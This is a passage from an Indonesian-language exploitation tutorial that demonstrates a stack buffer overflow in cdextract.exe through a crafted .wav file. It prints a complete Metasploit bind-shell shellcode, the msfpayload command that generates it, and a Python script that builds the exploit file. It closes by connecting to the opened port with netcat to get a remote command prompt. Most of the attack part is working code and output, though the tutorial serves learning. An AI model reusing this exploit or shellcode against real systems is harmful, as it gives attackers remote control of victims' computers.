Program calculator berhasil tereksekusi.

This work is licensed under a Creative Commons.

Page 19: Windows Exploitation Smashing the Stack - hitz#7

S h e l l c o d e B i n d S h e l l

Setelah berhasil dengan program calculator, kita akan coba untuk membuka port di komputer korban dan

melakukan koneksi lewat port tersebut. Payload ini biasa disebut dengan bind shell.

Jalankan perintah berikut pada metasploit msfpayload.

root@infidel:~# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -t c[*] x86/shikata_ga_nai succeeded with size 368 (iteration=1)

unsigned char buf[] ="\xba\xb4\x91\x56\x34\xd9\xea\xd9\x74\x24\xf4\x5d\x31\xc9\xb1""\x56\x83\xed\xfc\x31\x55\x0f\x03\x55\xbb\x73\xa3\xc8\x2b\xfa""\x4c\x31\xab\x9d\xc5\xd4\x9a\x8f\xb2\x9d\x8e\x1f\xb0\xf0\x22""\xeb\x94\xe0\xb1\x99\x30\x06\x72\x17\x67\x29\x83\x99\xa7\xe5""\x47\xbb\x5b\xf4\x9b\x1b\x65\x37\xee\x5a\xa2\x2a\x00\x0e\x7b""\x20\xb2\xbf\x08\x74\x0e\xc1\xde\xf2\x2e\xb9\x5b\xc4\xda\x73""\x65\x15\x72\x0f\x2d\x8d\xf9\x57\x8e\xac\x2e\x84\xf2\xe7\x5b""\x7f\x80\xf9\x8d\xb1\x69\xc8\xf1\x1e\x54\xe4\xfc\x5f\x90\xc3""\x1e\x2a\xea\x37\xa3\x2d\x29\x45\x7f\xbb\xac\xed\xf4\x1b\x15""\x0f\xd9\xfa\xde\x03\x96\x89\xb9\x07\x29\x5d\xb2\x3c\xa2\x60""\x15\xb5\xf0\x46\xb1\x9d\xa3\xe7\xe0\x7b\x02\x17\xf2\x24\xfb""\xbd\x78\xc6\xe8\xc4\x22\x8f\xdd\xfa\xdc\x4f\x49\x8c\xaf\x7d""\xd6\x26\x38\xce\x9f\xe0\xbf\x31\x8a\x55\x2f\xcc\x34\xa6\x79""\x0b\x60\xf6\x11\xba\x08\x9d\xe1\x43\xdd\x32\xb2\xeb\x8d\xf2""\x62\x4c\x7d\x9b\x68\x43\xa2\xbb\x92\x89\xd5\xfb\x5c\xe9\xb6""\x6b\x9d\x0d\x29\x30\x28\xeb\x23\xd8\x7c\xa3\xdb\x1a\x5b\x7c""\x7c\x64\x89\xd0\xd5\xf2\x85\x3e\xe1\xfd\x15\x15\x42\x51\xbd""\xfe\x10\xb9\x7a\x1e\x27\x94\x2a\x69\x10\x7f\xa0\x07\xd3\xe1""\xb5\x0d\x83\x82\x24\xca\x53\xcc\x54\x45\x04\x99\xab\x9c\xc0""\x37\x95\x36\xf6\xc5\x43\x70\xb2\x11\xb0\x7f\x3b\xd7\x8c\x5b""\x2b\x21\x0c\xe0\x1f\xfd\x5b\xbe\xc9\xbb\x35\x70\xa3\x15\xe9""\xda\x23\xe3\xc1\xdc\x35\xec\x0f\xab\xd9\x5d\xe6\xea\xe6\x52""\x6e\xfb\x9f\x8e\x0e\x04\x4a\x0b\x3e\x4f\xd6\x3a\xd7\x16\x83""\x7e\xba\xa8\x7e\xbc\xc3\x2a\x8a\x3d\x30\x32\xff\x38\x7c\xf4""\xec\x30\xed\x91\x12\xe6\x0e\xb0";root@infidel:~#

Kita edit lagi python scriptnya:

#!/usr/bin/python

filename = "skeleton-calc.wav"

junk = "\x41" * 4112 # jumlah sampah yang dikirimeip = "\x37\x62\xC8\x7C" # 7CC86237 FFE4 JMP ESPnops = "\x90" * 16 # NOP

# metasploit payload shellcode# msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -t c# size 368 bytes

shellcode = ("\xba\xb4\x91\x56\x34\xd9\xea\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"

This work is licensed under a Creative Commons.

Page 20: Windows Exploitation Smashing the Stack - hitz#7

"\x56\x83\xed\xfc\x31\x55\x0f\x03\x55\xbb\x73\xa3\xc8\x2b\xfa""\x4c\x31\xab\x9d\xc5\xd4\x9a\x8f\xb2\x9d\x8e\x1f\xb0\xf0\x22""\xeb\x94\xe0\xb1\x99\x30\x06\x72\x17\x67\x29\x83\x99\xa7\xe5""\x47\xbb\x5b\xf4\x9b\x1b\x65\x37\xee\x5a\xa2\x2a\x00\x0e\x7b""\x20\xb2\xbf\x08\x74\x0e\xc1\xde\xf2\x2e\xb9\x5b\xc4\xda\x73""\x65\x15\x72\x0f\x2d\x8d\xf9\x57\x8e\xac\x2e\x84\xf2\xe7\x5b""\x7f\x80\xf9\x8d\xb1\x69\xc8\xf1\x1e\x54\xe4\xfc\x5f\x90\xc3""\x1e\x2a\xea\x37\xa3\x2d\x29\x45\x7f\xbb\xac\xed\xf4\x1b\x15""\x0f\xd9\xfa\xde\x03\x96\x89\xb9\x07\x29\x5d\xb2\x3c\xa2\x60""\x15\xb5\xf0\x46\xb1\x9d\xa3\xe7\xe0\x7b\x02\x17\xf2\x24\xfb""\xbd\x78\xc6\xe8\xc4\x22\x8f\xdd\xfa\xdc\x4f\x49\x8c\xaf\x7d""\xd6\x26\x38\xce\x9f\xe0\xbf\x31\x8a\x55\x2f\xcc\x34\xa6\x79""\x0b\x60\xf6\x11\xba\x08\x9d\xe1\x43\xdd\x32\xb2\xeb\x8d\xf2""\x62\x4c\x7d\x9b\x68\x43\xa2\xbb\x92\x89\xd5\xfb\x5c\xe9\xb6""\x6b\x9d\x0d\x29\x30\x28\xeb\x23\xd8\x7c\xa3\xdb\x1a\x5b\x7c""\x7c\x64\x89\xd0\xd5\xf2\x85\x3e\xe1\xfd\x15\x15\x42\x51\xbd""\xfe\x10\xb9\x7a\x1e\x27\x94\x2a\x69\x10\x7f\xa0\x07\xd3\xe1""\xb5\x0d\x83\x82\x24\xca\x53\xcc\x54\x45\x04\x99\xab\x9c\xc0""\x37\x95\x36\xf6\xc5\x43\x70\xb2\x11\xb0\x7f\x3b\xd7\x8c\x5b""\x2b\x21\x0c\xe0\x1f\xfd\x5b\xbe\xc9\xbb\x35\x70\xa3\x15\xe9""\xda\x23\xe3\xc1\xdc\x35\xec\x0f\xab\xd9\x5d\xe6\xea\xe6\x52""\x6e\xfb\x9f\x8e\x0e\x04\x4a\x0b\x3e\x4f\xd6\x3a\xd7\x16\x83""\x7e\xba\xa8\x7e\xbc\xc3\x2a\x8a\x3d\x30\x32\xff\x38\x7c\xf4""\xec\x30\xed\x91\x12\xe6\x0e\xb0")

espdata = "\x90" * (5000 - len(junk+eip+nops+shellcode)) # sisa bytes

file=open(filename,'w')file.write(junk+eip+nops+shellcode+espdata)print "[+] File",filename,"created successfully.."file.close()

Jalankan lagi script diatas, maka akan menghasilkan file skeleton-calc.wav. Untuk memastikan bahwa

exploit kita berjalan dengan baik, ada baiknya menjalankan exploit tetap menggunakan debugger.

Attach lagi proses cdextract.exe, pasang Breakpoint pada alamat 7CC86237 dan perhatikan eksekusi

shellcode.

Tekan F7 untuk mengikuti proses eksekusi, lakukan hal yang sama seperti pada proses shellcode calculator.

Pada awal shellcode (CLD), tekan F9 dan proses seperti terhenti. Namun apabila kita melihat dengan

netstat, terlihat port 4444 sedang terbuka.

This work is licensed under a Creative Commons.

Page 21: Windows Exploitation Smashing the Stack - hitz#7

Apa yang terjadi ketika kita melakukan koneksi ke port 4444 tersebut dengan netcat?

Owned! Kita berhasil mendapatkan command prompt komputer target.

P e n u t u p

This work is licensed under a Creative Commons.

Page 22: Windows Exploitation Smashing the Stack - hitz#7

Penjelasan diatas merupakan tahap awal dalam proses eksploitasi program. Beberapa tehnik yang lain

seperti SEH Based Overflow, bypass SafeSEH, bagaimana menghandle Unicode Stack Overflow, Heap

Overflow, Bypass ASLR and DEP, serta beberapa tehnik untuk meloloskan diri dari space yang kecil.

Tehnik-tehnik diatas sebenarnya hanya merupakan trik bagaimana memanfaatkan celah yang ada.

Setelah semakin sering bermain dengan exploit, bahasa assembly, dan scripting saya yakin sebuah pola

kreatifitas akan terbentuk dengan sendirinya. Belajar untuk menganalisa satu-per-satu proses yang sedang

berjalan pada akhirnya juga merupakan inti dari hacking & security yang selama ini kita geluti.

Semoga dengan adanya Hitz ini semakin memacu teman-teman untuk lebih kreatif, dan menghargai hasil

yang dikeluarkan oleh otak dan niat kita.

This work is licensed under a Creative Commons.